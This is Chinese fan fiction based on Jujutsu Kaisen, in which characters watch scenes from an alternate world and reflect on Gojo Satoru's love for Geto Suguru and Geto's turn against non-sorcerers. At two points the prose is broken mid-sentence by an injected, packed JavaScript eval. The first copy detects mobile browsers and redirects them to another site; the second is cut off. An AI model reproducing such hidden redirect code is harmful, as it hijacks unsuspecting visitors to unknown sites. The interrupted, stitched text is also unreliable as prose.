“我不能理解他们究竟在打什么哑谜,从开始到现在一直这样。”钉崎野蔷薇有些崩溃地喊道,虎杖悠仁的眉头也微微蹙起,其他人原本轻松些的心情又被未知的害怕给淹没。而另一个世界的两个人却早已知晓了结局,悬而未落的判决轮到了旁观者的头上。本不该如此的。有夏油杰存在的那个世界与他们又有什么关系呢。 可是,在夏日下意气风发笑着的那个黑发少年,那个为友人想好前路的咒术师,他也曾经真实地存在过,直至现在都给见过他的人留下不可磨灭的印象。而也有人仍旧在想着他,无论过去与未来。 他们见不得好人成为坏人,美好的东西被摔得粉碎,他背弃一切必须要做的究竟是什么? “最强也会流泪吗?”听到这话的七海建人摇了摇头,没有再想,多数人也只当是笑话。 五条悟倒是好奇有一点,“记录下来又有什么用呢?”人的记忆迟早会在时间的洪流中生锈,哪怕借外力保存下来,当初的情感或许早就改变了。“物是人非,你们是这么形容的吧。”他也用玩笑般却字字透着冷漠的语气说道。 其他人应该比从未有过寄托、其他什么也好的最强更深有所感。而家入硝子却是嗤笑了一声,认为自己不会做的事,就笃定同位体也应该是这般。可惜的是,他这位同位体早已“劣迹斑斑”。她近乎有些怜悯地看向他,“太自大了吧,五条。” “倘若要我来谈论的话,十年后、二十年后,”她的神情缓缓地柔和下来,“甚至当我们老了,一起回看这段过去。”家入硝子的语调也逐渐放慢。“然后你会无可避免地想起他,他在那时所说的话,他所希望的那一切。” “他便又一次赢了。” 就如同夏油杰所说的话,仍旧有所寄托。她年轻的同位体是清楚这一点的,但无论是如今的家入硝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299972|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子、哑口无言的五条悟,还是现在或许才发觉挚友用心的最强,前两位怎么算都是晚了,他们的世界没有那人的存在。而最后一位,在某种意义上来说,正如他希望的那般,有一份不可言说的寄托,有一段始终放不下的过去。 五条悟注视着那三个人的面容,熟悉又陌生,他们是那样的快乐。另一个自己笑得见牙不见眼,始终有另一人与他并肩。听到家入硝子的话,他不可避免地想象出三个人在很久之后,一起挤在沙发上,不需要很大很宽,只要能塞下三个成年人就够了。他们会打开录像,自己会有点不太情愿,而旁边的人在起哄,不会是输不起吧,不会是不好意思吧。他们会笑,善意而亲昵地笑,录像中的过去与当下构成一个完整的闭合。从过去到当下,那份寄托会永远存在。 五条悟没有反驳。当他意识到自己在想象什么的时候,他就知道,自己也算是输给了夏油杰。 【白发少年不太自然地蹲在相机前,只有他一人。如果夏油杰、家入硝子也在旁边,他绝不会这样,用自然来形容都算谦虚。他没过于自然地把镜头砸了都算好的,不远处坍塌的建筑物就是证据。 他皱着眉头,嘴角往下撇,目光难得严肃地研究上面的问题。越看神情就越仿佛是误食了芥末味的蛋糕那般。直到看完最后一个问题,五条悟也还是弄不清状况。他近乎抓耳挠腮地思考这些问题,他以为等待着自己的会是一些令人发笑的问题。但是,并不是如此。 五条悟透过这些字眼,仿佛能看见黑发挚友写下每个字的模样,却无法理解他抱着什么的心态决定给自己出这样的问题。他应当知道的,他应当抱着同样的心态去回答这些问题,杰是想让自己看到这样的问题想到什么呢?又明白什么呢?他希望自己怎么做? 他仔细地思索起,自打赌输了后,杰的一言一行,露出的每一个表情,说话时的语气,五条悟没有从中察觉到任何迹象。甚至刚刚他与自己打闹时也没有任何不对的地方。他无法找到答案——这些问题从头到尾都无关正论,无关咒术师与非咒术师。只是在问五条悟,问他本身。 杰想要什么样的答案呢?绝不是玩笑。五条悟想起他将这张写下问题的纸递给自己后,又说了一句话,“要发自真心地回答哦,悟。”他就那样全然信任地看着自己。 五条悟的脑子被一串联想起的信息糊得有点发晕,他尽量使自己平静下来,于是那句话再一次回响在他的耳边。发自真心,他想到。好吧,白发少年挠了挠头,将目光重新落回这些问题上。 “喜欢的颜色,紫色吧。” “喜欢的人,这还用说吗?” “喜欢的食物,喜久福、可丽饼、章鱼烧……有好多,但不想一个人去吃。” “对于入学东京高专的最大想法?认识到了一些有意思的人,比如夜蛾,硝子,歌姬,七海,灰原。当然,最有意思的还是杰,刘海也太怪了吧。” 当真正回答这些问题时,五条悟才发现并不难以开口,反而身体比大脑都要快一步给出答案。 “最想做的事?在冬天吃冰淇淋,夏天去看海。”他继续说着,“哦,是要和杰一起去。也可以再多叫上一些人,但杰是必须的。” “还想和杰一起去甜品店,不过杰不怎么喜欢吃甜的,我也可以陪杰去吃凉面啦。和杰一起打游戏,看电影也不错。只要杰在的话,好像都不错。” “对未来十年后的打算?那个时候夜蛾已经当校长好久了吧,硝子会留在高专当校医。杰的话,依照他的性格,应该会也留在这里当一名老师吧。那我也干脆留在高专好了!具体做什么还没想法,或许老师也可以?反正杰在这,他们都在这。” 他停了下,眨了眨眼睛,自顾自地问了句,“杰出现的频率是不是有点高了?” 但是五条悟没有多想下去,他的视线落在了最后一个问题。他这次思考的时间有点长了,“最想问十年后自己的一个问题?” “这有什么好问的吗?我有什么好问的吗?”他迷茫地说。 最后他一握拳拍掌,“那就问杰吧。” “没什么区别。”】 听了年轻的六眼神子一连串下来的回答,谁也不知道该如何评价。他们没有想到会这样,现实如此的弄人。对于【五条悟】来说,是由夏油杰撑起了他的整个青春,那个人与这段过去密不可分、纠缠不休,他有那么多想和夏油杰做或者已经做过的事,这些占据了他最明亮的人生里的大半色彩。 他的话发自真心,坦诚而直白的真情流露。可是,可是。 在场所有人都知道有一个人的离开,他的背叛,他的抛弃。他未来的选择会在最强咒术师最柔软、最不设防的心脏处开出一个大洞,硬生生地割去早已成为血肉中的一部分。 没人作声,没人愿意打碎那些美好的东西。 【“真不知道你看上了他什么?”女同期指尖夹着烟,语气颇有些无奈。当事人不知道想到了什么,轻笑出声,“悟还是很可爱的吧。” 听到这话,家入硝子翻了个白眼,“我知道东京市区有家医院眼科还不错,建议你去看看。”夏油杰摇了摇头,“我说真的。” “他可是六眼。”她的回答有些嫌弃之意夹杂在里头,但有更深的东西埋藏在这短短的一句话的背后。黑发少年为难地眨了下眼,不是被这句话说动,而是在认真地思考措辞。 “悟也是人。他会笑会生气会委屈,会流血,也会流泪。”夏油杰侧过头来,直视着家入硝子,言语之间全是坦诚。 “哈——我倒是没见过他会流泪。”她被烟呛了一口,干巴巴地接下这个话题。 “我也没有见过。不过,我倒是希望他永远都不会流泪。” 夏油杰想了想说,“有时候流泪比流血还要痛苦一百倍。” “你也一样。”他对家入硝子这样说道。 少女忍不住先转过头去,避开那道近乎算是温柔的目光,她看见夏日的太阳,听见蝉鸣的喧嚣,竟也觉得这倒也不坏——夏油,五条,她,三个人。家入硝子想,算是便宜了五条悟了。流血的话,她可以帮忙治;流泪的话,有夏油杰的存在,根本就没有必要。 某种意义上,他无疑是这个世界的最强了。】 但世界上有一种定律非常不讲道理,越是以为不可能反而越一定会发生。 【“最想问的是——” 十七岁的五条悟会生气会委屈,但他仍能笑得见牙不见眼,仗着年轻,仗着身边有一人的存在。他笃定地认为问杰就足以知晓自己之后的所有快乐与烦恼,快乐很多,烦恼因有另一个人在却也无足轻重。 他问,“十年后的杰,你还好吗?”】 “当我谈及他时,我在谈论什么?” 年轻的白发咒术师那时不懂失去,将所有的期许满心欢喜地倾倒出来,理所当然地认为事事都会如他所愿。而放在当下来听,【五条悟】只觉得那是一个久远而遥不可及的梦。有人曾在夏日笃定陪伴永远,有人曾在夏日决然转身离去。 三年青春如泡沫般沉没在回忆中,还有人记得录像中的那份寄托吗?十年之期到时,因三个人之中有一人缺席,最强咒术师与女医师只当作那段记忆不存在。 直至现在,所有的真心被摆在明面上。他的、杰的。【五条悟】在很久之后知晓挚友的这份用心,而另一人却永远不再会知道他的寄托何在。 一年前的最强亲手杀死了他此生唯一的挚爱,而将时间再往那时的【五条悟】身上倒推个十年,十年前的夏日他问。 ——十年后的杰,你还好吗? 何其天真而又伤人。那时谁都无辜、谁都没有预料到之后的种种。 白发咒术师听那年轻的黑发挚友说。 我倒是希望他永远都不会流泪。 有时候流泪比流血还要痛苦一百倍。 “可是当下最让我痛苦的人也是你,杰。”他自顾自地说道。 女医师听了,用无足轻重的语气问了句,“你恨他吗?” 最强咒术师侧过头来,看向另一个同期,“最开始是这样的,我恨不得杀了他,以为只要这样就可以让那般的痛苦彻底消失。”他接着说下去,“但真正的答案却并不是如此。只要想到如果这真的成为现实,我反而会更痛苦得难以忍受。” “在长达十年的时间里,我反而发现,恨只是在逃避。” 女医师眼睫微颤,最后只说,“这样啊。” “而且,错不全在他。”白发咒术师又一次听见了那个夏日的蝉鸣。 五条悟所见的是另一个世界,另一种人生,一切都因特殊的那个存在而不同。 他曾独自一人去看过海,大海的浪潮不足以将他吞没,白色的沙砾上只有一人踩过的脚印,没有第二个人。他也曾在冬天里吃过好几个冰淇淋,事后蹲在马路上感到一阵肚子疼,没有另一个人的说教与安抚。五条悟什么都没有,什么都不曾有过。 在未曾见过夏油杰之前,他不知何为孤独,不知何为挚友,也不知何为爱。 当时还年轻的、身为同位体的白发少年自是没有意识到爱这种东西,它从年少时就始终存在,但无畏无惧的六眼神子尚不明确、也不知该如何定义这份感情。而五条悟不同。他独自一人走过这十几年,见过人间冷暖,在陌生的人潮拥挤间见到太多爱欲痴念了,虽只是旁观,但好歹仗着这些年一路走来总结下来的所见,至少能分辨出那份自己不曾有过的情感。 而现在,有陌生的情感如长久存在的潮水般涌入五条悟的心底,他在遥远的大海深处看见夏油杰,后者用熟悉的目光回望——你看见的是我吗? 他与他都陷入那由夏油杰构成的青春之中,而五条悟却始终有一堵高墙无法跨越。他无法克制地嫉妒另一个自己,缘由显而易见。有这样一个人想着你,陪着你玩闹,知道你所有的生气与委屈,又唯恐你落泪。 当最强谈及夏油杰时,他在谈论什么? 答案是爱。 “你爱他。”家入硝子这样说道。而年轻的学生犹疑不定她指的是哪个五条悟,又或者两个都是。但这句话他们谁都不敢妄自定论。 “那我是刚开始就输了吗?”五条悟清楚这个答案,“我好不甘心,硝子。” 家入硝子有种错觉,那最强咒术师不管是念她的名字还是说出这句话时,他的神情在某一刻与隔壁的那一人重合起来。 “这不是我们的世界。”她接着他的话给出了这样一句回应,有无形的赌局在言语中落下个结局来,谁也没有赢。而这两人间的气氛却有所缓和起来,是终于达成了一致认知的认输。 学生们没有轻易地开口,那并不是他们能参与进去的。他们这些后辈仅是在旁边看着,也能体会到难言的苦涩。六眼神子说这话时,怕是从未想过十年后的一切会变得面目全非,这对于他来说无疑太残忍、也太痛苦了。 过去的承诺与期许已然不复存在,但当下,三年青春的一角被掀出来,那个年轻的黑发咒术师在回忆中是那么纯粹而无害,以至于学生想起他后来的背叛觉得更无法理解、也更加伤人。三个人整整齐齐、两名高专老师和女医师,在未来的想象中不多不少,他们之间的情谊也恒久不变,这么一想的话,东京高专无疑会添很多的欢声笑语,那也足以令学生们善意地发笑。 但两个世界都并不是这般,真的会有一个完美的世界存在于此间吗? “接下来就是最后一场了。”夜蛾正道看着暗下去的银幕说道,随之而来的会是最后一轮观影。他们仍旧有很多不知晓的事情,而从隔壁的那两人的对话与语气中,也能察觉出一些东西。 校长近乎是叹了一声才开口,“我有一个猜测,我觉得你们应该听一下。”他的目光投向家入硝子和五条悟身上,是不难看出的忧虑与认真。自从他们两人毕业后,曾经的师长很少再用这副神情跟他们讲话了。 “我认为,”夜蛾正道沉着声说道,声音不大不小足以令在场所有人听清楚,“夏油杰有可能死了。” “不,”第一个反驳的就是五条悟,“怎么可能?”他几乎下意识就否认了这个可能,“杰的实力也就比我差了点。” 虎杖悠仁忍不住插了句嘴,“我也觉得这不太可能,无论是隔壁的五条老师还是家入小姐都从来没有提过。” 恰恰是这样,才让夜蛾正道产生这种想法,在场很少有人真的见证过熟悉的咒术师的死亡,他可能是你的同期,你的友人,你的学生。你所熟知的人早早地死去,而之后提起却是化为伤疤一样的存在,触及便是无言的痛苦。在咒术界教书教了许多年的夜蛾正道,体验过不少来自亲手教出的学生的伤痛,而七海建人则因为前者。 “那你觉得会是谁杀了他?”五条悟语气很不好地问向夜蛾正道。 而七海建人却比夜蛾正道先给出了一个答案,他摇了摇头,“应该说是。” “谁又能杀得了他。” 就在这时,新的一轮开始了。 【——这是你所希望的世界吗?】 10. 彼岸 【彼岸】 【这是你所希望的世界吗?他睁开眼来,入目的是一堵高墙,由他亲手砌成,血与尸体都被埋在最下面,无声无息,就此沉没。 夏油杰记得那些面孔,可恨的、害怕的,无辜的。 ——谁都不无辜。 他辩驳最后一个形容,咒术师与诅咒师,术师与非术师,人与咒灵。这个世界一团糟。普通人仍能无知无觉地安然享乐,而特殊的人里却总有为他们死去的尸体。 这何等不公,他想。】 “他怎么就这么认为了?明明我们都是咒术师,背负着同样的责任。”虎杖悠仁语气急急地开口,哪怕在最开始他们就已经见证到了极恶诅咒师犯下的罪孽,但当他们拼凑出年轻的黑发咒术师的模样,并不完整,可那句咒术师的存在就是为了保护非咒术师的话,确切是发自真心的。以至于学生们当下一时没法接受这转变。 “来自普通人的伤害。”夜蛾正道只能想到这一点,不然就依照他们所了解的,年轻版的夏油杰绝不会做这样的事。原先盘星教和诅咒师的观影中,他们只能察觉他对术师同胞们格外的偏袒。 但现在,还露出了更深的一面。前特级咒术师对普通人的厌恶,用恨形容也不为过。 五条悟则在审视了几秒后,用那种很风轻云淡的口吻说,“叛逃挺好的啊,不用出任务,也不用搭理烂橘子。杰他想做什么就做什么。”他顿了下,有点郁闷以及不满之意继续开口,“只是不知道另一个我是怎么想的。” 是的了,隔壁的最强咒术师居然没有跟着一起叛逃。反而老实地留在东京高专当了一名教师。仅仅只是窥见三年青春的一角,他们也清楚【五条悟】对他挚友的喜爱与依赖,更别提六眼神子那眼高过顶、随心所欲的臭屁性格。 家入硝子此刻也有些揣摩不出另一个白发咒术师的想法了。不跟着叛逃的话,那就代表着要承受长久的痛楚。她想起那个风雪中独自一人的行刑者,选择权并不在他手上,他说。 这句话该如何诠释? 他人的生死他不能定夺,那最强自己的叛逃呢?他想要叛逃的话,没什么人能拦住他,更何况夏油杰也在另一条路上。但事实并不全然会如此,用简短的话概括出来就是,让大多数人私以为更有可能离经叛道的六眼神子,最后反而站在了对的一方。 这可真不五条悟。她想。 而对于夜蛾正道那时说的话,家入硝子心里其实一直就有隐隐不安的感觉。但那个说再等下一个冬日的白发咒术师,在一人的生死并不由他掌握的前提下,是绝对不可能亲手杀死那人的。 那可是夏油杰。 【这些年来,他都在筑起同一面墙,夏油杰知道墙的背后是什么——咒术师——师长——同伴,那是他曾经拥有的,也是后来他选择抛弃的。 在十七岁之前,很多人真心地、或者恭维地跟年轻的特级咒术师断言过,你一定前途光明。那么有能力、又坚守着正论,哪怕说这些话的人当中,有些心有不甘和嫉妒,也无法否定在这两者的基础之上得出的这个结论。 前途光明。 曾经的夏油杰并没有仔细想过这句话中的期许和深意,对此只会一笑而过。他并不在意虚名和那些高大上的东西,非咒术师家庭出身的他很清楚自己选择当一名咒术师是为了什么——强者——责任——性命。有更多的人命担负在他们的肩上。这条路走来夏油杰付出的艰辛比常人看到的还要更多,他既不是咒术界世家的后人,也不参与进咒术界内部的拉帮结派。 但他并不孤独,有师长、同伴都与他一并走在同条道路上。这使得夏油杰朝着既定的方向前进时,感觉还不坏。那时年轻的他,早早地成为一名特级咒术师,位于实力顶端却不觉得高处不胜寒。 他还有挚友、有同期、有后辈,他以为一切都会更好,这个世界也会更好。 那时的夏油杰曾断定前路必有种种磨难等着他,却年轻而无所畏惧。 只求无愧于心。】 曾经的极恶诅咒师与当下年轻的学生差不了多少,他们都有可靠的师长,这里单指实力靠得住,可托付信任的同期,夏油杰投入咒术师这个身份的感情与付出不比他们少,甚至更多。 剖开夏油杰的内心来看,这个人就如他人印象中那般,是个坚守正论的学生,值得信赖的前辈,足以托付感情与性命的同期。 只是,夜蛾正道轻轻地摇了摇头,将所有的惋惜与遗憾化作一句话,“谁也没有料到之后会是这样。”禅院真希把结果挑明,“谁也没有想到他会叛逃。”最强咒术师没有,女医师没有,连夏油杰自己也没有。谁会想到这样的年轻咒术师,算是落了个孤身一人、声名狼藉的下场呢,与曾经并行一路的同伴立场相对,背离过去咒术师的责任。 有果必有因,他奉若信条的理念被摧残,“非咒术师在其中显然不无辜,那么其他人呢。” 这也是另一个世界的人也想知道的。 “前途光明。”白发咒术师咀嚼着这四个字,放在当下来看只觉得荒谬可笑。只求无愧于心,但明明按照他本人曾经的设想也与校长的、同期的,后辈的都差不到哪里去。在前方等着他的命运好像因这个人所求而注定好了的——注定现实会与之相反。 “我们并不期许他前途光明。” 女医师只能说出这样一句话,其他没有说出口的话都很伤人。 血液的粘稠感仿佛还残留在【五条悟】的手上,最强咒术师的眼前又闪过那片猩红,他缓缓眨了下眼,才接着女医师的话继续说,当下被剖开内心的不只是一个人。“而我所求更多,”白发咒术师笑了下,却有自嘲的意味在里面。 “又希望他无愧于心,又不愿让他离去。” 【五条悟】知道,在他举起的屠刀落下时,就再无可能。 【后来他将一切抛弃,也只是求个无愧于心。墙的背后是什么,不是光明前途,是他曾经的挚友、曾经的同期、曾经的师长以及后辈。许多熟悉的面孔望向他,而夏油杰却用这堵墙作为遮挡物,阻隔他们的视线、不愿再见。 他并不觉得后悔,只觉得长久的痛楚与疲倦。年轻的那个自己好像早已死去,被如今的极恶诅咒师亲手杀死,不念往事不复过去。但无论是五条悟、家入硝子还是夜蛾正道仍然存在着,与那过去相连的他们只是存在,就告诉了夏油杰他曾经拥有过什么,又失去了什么。 筑墙的人不能摒除一切情感干扰,但能将那堵墙砌得看似无坚不摧、无人跨越。 这样的话,便能当作什么都没有存在过吗? 当然不。 家入硝子曾当着夏油杰的面说他容易心软,很多事情上即使他傲慢得和五条一样不肯低头,但他们两个中夏油杰往往会是先后退一步的那个,把当时他们俩吵得直接上手打了一架的事就当什么都没有发生过。 毕竟那是悟。那时夏油杰说了这样一句话,再然后呢——然后。 有些事不能当作没有发生过,他在新宿与五条悟对峙的时候,他站在面前,那双苍天之瞳直直地望向自己,索问一个为什么。 即使夏油杰曾对五条悟说正论,说强者要帮助弱者,说咒术师的责任就是要拯救非咒术师。 但有些事不能当作没有发生过,悟,那并不是打游戏操作人物向左向右而起的争吵,也不是争论谁先在切磋中把教室给砸了的问题。 他人口中的前途光明也好,高专熟人的设想期许也好,你我之间的所有,在现实面前也都得让步。 那是活生生的人命,是非咒术师的罪孽,亦是他的罪孽。】 直到此时,他们才意识到他的困扰,他的痛苦,那么深刻,那么字字诛心。无论是最强咒术师、女医师、曾经的师长以及后辈,还有极恶诅咒师,每一个人都有着自己的创伤与痛苦,他们拥有又失去,他们希冀又破灭。 “他上一刻仿佛都还在笑着,满怀希望地以为一切都会变好、变得更好。”虎杖悠仁攥紧了拳头,每说出一个字都感觉有美好的东西在破碎。 “有人死去,而被保护者反而成为了元凶。”七海建人说这话的同时,脑海里闪过一张年轻却早早死去的面孔。那些因普通人所生的负面情绪而产生的怪物,非咒术师的罪孽全在于此吗?他很快就否定了,或许有这个原因在里面,但绝对不止于此。 白发咒术师缓缓地眨了下眼,即使此时他的眼睛酸涩到难以忍受,也没有人再会轻轻地安抚他了。“他从没有跟我说过这些。” 无论是叛逃前还是叛逃后,夏油杰将自己的痛苦全部收敛起来,不让人瞧见半分脆弱。以至于当时的六眼神子没能看到他的痛苦,也没能听见他的呼唤。 如果他在年少时发觉了,是不是一切都会不一样,也许会也许不会。但至少,【五条悟】希望当时的自己能在那里,能多陪伴在杰的身边。那个夏天对他来说也不会那么难熬,不必独自一人度过。 “我并不是真心想保护普通人,他们的生死其实与我没有太大关系。” “我只是,”他的视网膜上曾长久地留有一个人的模样,那时的白发咒术师不理解那些理念、那些正论,却知道那是普世所追求的美好,一个温暖的灵魂。“我想证明曾经的他是对的。” 拯救弱者、保护非咒术师,会让这个世界更好。也许过程会很长久,但在有些事上,结果并不是最主要的,往往是那要付出很多的过程才会导致一个好的结局。 但这个好的结局,他们都没有等到。 “这便是因了。”家入硝子说这话时的语气带着些了然的伤感,为什么当初的六眼神子没有跟着一起叛逃。 五条悟一时没有说话,他比除开同位体之外都要明白自己说的这句话背后的所有含义——夏油杰选择抛下的,而自己却在之后将那些曾经的理念拾起,借以他的正论继续行他未走完的路。咒术师的责任、使命从来不是驱使【五条悟】这么做的理由,只是因一个人。 “而他值得。”五条悟用异常平静的口吻说道,像在陈述比世界上所有定律都要更使他信服的一个真理。 【极恶咒术师偶尔做梦,他的面前是那堵高墙,随着时间的流逝逐渐与他所想的那般,无坚不摧无人能跨越。但墙面上却始终存在着一道血瘢,无论夏油杰如何擦拭,猩红的痕迹如血液般浸没进墙身,无法抹去无法视而不见。 只是注视着它时,夏油杰的耳边就会响起那些畏惧的哭泣声、痛苦的哀嚎声,恶毒的咒骂声。就像是死去之人化作鬼魂般纠缠不休,但他并不记得所有被他杀死的那些非咒术师的面孔,在他视网膜上留有烙印的只有刺目的尸体与血液。他们之中有人在临死之前诅咒他不得好死,咒术界高层也不缺这样的存在。 夏油杰从不认为自己会善终,不得善终的人有很多,手上沾满鲜血的他将会是下一个。 而他祈求自己也会是最后一个,死的人足够多了,他想。 夏油杰曾有过选择,他站在中间,一端的门大敞着,五条悟和家入硝子大笑着,阳光就那么温和地照在他们身上,那是夏油杰无法用语言来形容的暖色调。只要走进去,他就好像远离了痛苦,也能毫不犹疑地笑出声来。他是特级咒术师,是坚守正论的学生,是可亲可靠的前辈,是值得托付情感与性命的友人。他会有一个光明的前途。 可是,可是,悟。有些事不能当作什么都没有发生过。夏油杰只需微微低头,就能看见那些顺着一道门缝流出来的血液与罪孽,那扇门紧闭着。但他知道那后面有什么。天真而惨死的星浆体,死去的年轻后辈,关在笼子里的双胞胎姐妹。他们都有名字,这些面孔夏油杰记得清清楚楚,只需闭上眼就能浮现当时的场景。 我不能视而不见。他们的血液时隔多年都留有余温,是那么滚烫、无辜。而记忆中非咒术师丑恶的嘴脸形成一个概念,他们害死他的同胞,他们自私他们贪婪,他们不值得被救他们不值得被原谅,他们必须死。 偿还我那死去的同胞,创造出一个只有咒术师的新世界。 这条路注定艰难而漫长,但是总比前方等着他的是同伴的尸体要好,要更容易接受。 夏油杰不怎么会想起伏黑甚尔,但他会想到濒死的悟、惨死的理子、早死的灰原,被当作异端虐待的菜菜子美美子。然后是九十九由基不切实际而异常疯狂的理论。有人在其中无辜,有人在其中罪恶——非咒术师的存在天生就是有罪的。 他们割开我们的血管,而我们终将打碎他们的胸骨。 他们扼住我们的喉咙,而我们终将摘取他们的头颅。 这是你所希望的世界吗,杰。 他听见墙的另一端传来五条悟的声音,就好像他曾这样真切地呼唤过自己。 夏油杰没有回答,只是笑起来。 你不必明白这些,我希望你永远不会明白,悟。】 “我宁愿他自私点。”女医师缓缓用手遮住了自己的脸,但那沙哑的声线还是暴露了她不稳定的情绪。 他从未从那血与尸体中走出来,把罪责与仇恨都留给自己一份。如今的极恶诅咒师流传在外的名声杀人不眨眼,现在的他却仍旧为十多年前他人的死亡而固守在原地,既不向前,也不退后,临渊而侧。 “可他就是那样的人。”夏油杰本该是拥有那个一切之人,他本该前途光明的。但十年前的他早就做出了选择,往后的人生中他必背负着那刻骨铭心的罪与恨,唯有死亡才得以永恒的平静。【五条悟】再清楚不过。 那份跨越个体、借着情感相连的痛苦在时隔十年多后真正地降临在他们身上,无关他的背叛,无关他的离开。白发咒术师的苍天之瞳中映出这个属于过去的人,那些旧日的遗痕再一次侵蚀了那纯粹的蓝色,他的神情在光线下模糊不清,说话的声音浸没在周围的暗沉中。“如果早一点、再早一点……”没有人死去,一切都还来得及。 【五条悟】时至今日都不能对夏油杰那强烈的共情感同身受,但倒也算是如后来他所希望的那般。而新宿人潮拥挤的分离时,却让十八岁的他第一次真正知晓疼痛的感觉。有人兵不血刃地挖去他心头上的一块肉,却也有人曾信奉的理念崩塌得一败涂地。 可是,杰。我也有始终无法忘怀的、想用尽一切去弥补的一个夏天。 那年的夏天谁都没有做到更好,曾经互相托付真心的人一个不说,一个不听,一个不看。他们都以为不会再糟糕了,以为只要三个人都还整整齐齐,那就一定会更好,自以为是蒙蔽了所有人。在这个用情感作束缚的困局中没有一个人无辜。 “我曾有机会的,我们都有。”女医师说,“很多话、我想对他说的所有话,都没有在那个夏天说出口。”她从喉咙里挤出破碎的声音来。 “原来是这样。”夜蛾正道在众人长久的沉默中开口,谁也没有想到命运会对一个人这样残忍,被其捉弄的后果无一不是走向极端。而夏油杰则是典型的例子。残酷的现实剥夺了与他相识的人的性命,又彻底将他曾经的信条击碎。 “明明只要不去理会那些毫无——”五条悟说到这里却又烦躁地闭上了嘴。此刻的他看起来因情绪波动而显得更年轻了些,年轻又往往代表着无知。曾经的最强也经历过其中的一些事情,但是要十多年后现在的他回忆那些已死之人的面孔,无一都是模糊不清,轮廓早已隐没在过去之中。 那些死亡发生的时候,他很难有太大的触动,因为弱小所以死了,这再正常不过了。无论是星浆体还是后辈,无法感受到就毫无疼痛,世界在那时的五条悟面前一切都很简单、直接。 但这些在夏油杰身上行不通。就好比当下,这个人的痛苦让五条悟觉得很难以忍受,好像他在为他而痛着,他更愿意看到夏油杰轻快地笑起来。那情感的束缚比五条悟自以为的还要更深。 “你知道的,他无法视而不见。”家入硝子说道。这也是为什么五条悟的话只说到了一半。夏油杰就是这样的人。 最强咒术师近乎迷茫地问道,“那我该怎么办?”这个时候他也是那个束手无策的人了,既知他的痛苦又不愿放手。五条悟本该愤怒的、他本该感到背叛的,好像那三年青春切切实实地存在过,被留下来的人则应该痛恨着离开的人,明明是你告诉我强者应该保护弱者、却也是你先打破这个正论的,明明是你对我再而三的包容喜爱、却也是你先转身抛下的。我该恨你的。但是并不如此。他为那个人好像比他自己还要更痛苦而深深地无力着。 当五条悟的问题落下时,在场所有人都沉默了下来。他们以异样的眼神投向他,好像无法理解他为什么这么发问,对这个问题感到匪夷所思似的。最后还是家入硝子慢慢地开口,带着微微的怜悯。 “这不是我们的世界。” “五条。”她再一次这样说道。 那些早已过去。 学生本以为重现一个人的十年前与十年后的模样,两者对比,足够让他们知晓夏油杰的曾经与现在。但并不是如此,十七岁的少年与他们差不了多少,他所经历的、他所背负的都要更多,不只是因他那过分强大的实力,还有他本身性格决定的。 对于夏油杰来说,人死不能复生。被自己一直保护的人所伤害,那未尝不也是一种背叛。 “这种愚昧的人哪哪都有好吗?为了这种人而赔上自己的未来,”钉崎野蔷薇咬起牙来,年轻的女孩倒在血泊里深深地刻在她的视网膜上,熟悉的愤怒再次向她袭来,但她早已比过去的自己更稳重、更看得明白,“那不值得。” “而杀死所有的非咒术师,这根本不可能。”七海建人沉声说道,他不相信这人不会不知道。 “但他更无法接受一条只有同伴尸体堆积的道路。”伏黑惠说道。而他在杀死第一个人的时候,自觉再也无法回头,索性将所有的后路斩断。 “如果是我们处在他同样的处境,”胖达犹豫着提出了这个问题,“会作出和他一样的选择吗?” “不,不会。”虎杖悠仁摇了摇头,“我始终还记得入学的那个考验,你们也都经历过。” “夜蛾校长问过我们为什么想要成为咒术师,他想让我们拥有一个坚定的答案支撑我们以咒术师的身份走下去,而如果是那种偏激的人一定会被他揍一顿直到清醒为止吧。”他尽力使气氛轻松下来,其他同伴则因想起那会闹出的糗事也不自觉放松了许多。 夜蛾正道没有说出口的是,至少另一个自己教导夏油杰的时候,肯定不是这般,不然一切都不可能会落到现在这般地步。 而虎杖悠仁在说完这话时,脑子里的一部分也回想起那段记忆来,从当时在场的人说过的话、发出的问,还有无言中露出的神态,虎杖悠隐隐仁琢磨出了不太一样的感觉。古怪的是,为什么夜蛾正道会这么教导?就连他自己也好像没有意识到不对劲。 他正要细想的时候,家入硝子却说起了另一点,“我们都知道他并不无辜。” “但傲慢与好心并不应该是他受到伤害的理由。” 有人发出了叹息。 【“你是要挑起一场毁灭吗?”夏油杰听见他人的发问,切实地落在现实中。 他缓缓眨了下眼,露出一个完美无缺的笑容,“不是毁灭,是清洗。” 非咒术师的存在没有意义,他们自私贪婪不值得被救不值得被原谅,他们产生诅咒又死于诅咒,这才是他们本该的归宿。 “现在退出还来得及哦。”他补充了一句,却在话音刚落下,就被米格尔锤了一肩。周围有人在斥责他怎么能这么无礼地对教主大人,他则不以为意地耸耸肩,“我现在最后悔的就是上了你这艘贼船。” “如果到时候我撑不住跑了,你也要记得给我加钱。”有人以善意的嘲笑声针对着米格尔,后者没脸没皮地回以一句,“毕竟那可是最强嘛,我还想留着一条命过年呢。” 周围的声音更热闹了起来,其中有一个在喊,“别老是来蹭我们的年夜饭。” 菅原真奈美说,“认清你自己的身份,米格尔,你可算不上盘星教的人。”听到这话米格尔就不认同了,“嘿,我也为你们夏油大人效力好吧,也算是你们盘星教的编外人员嘛,别那么计较。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难道只能看着吗,甚至现在连真正的结局还未落下的时候就要返回到原来的世界,回到正轨上去。这是家入硝子想要的吗?这是那两个人想要的吗?只是追寻早已被掩埋的过去,却什么都不做,什么都挽回不了。 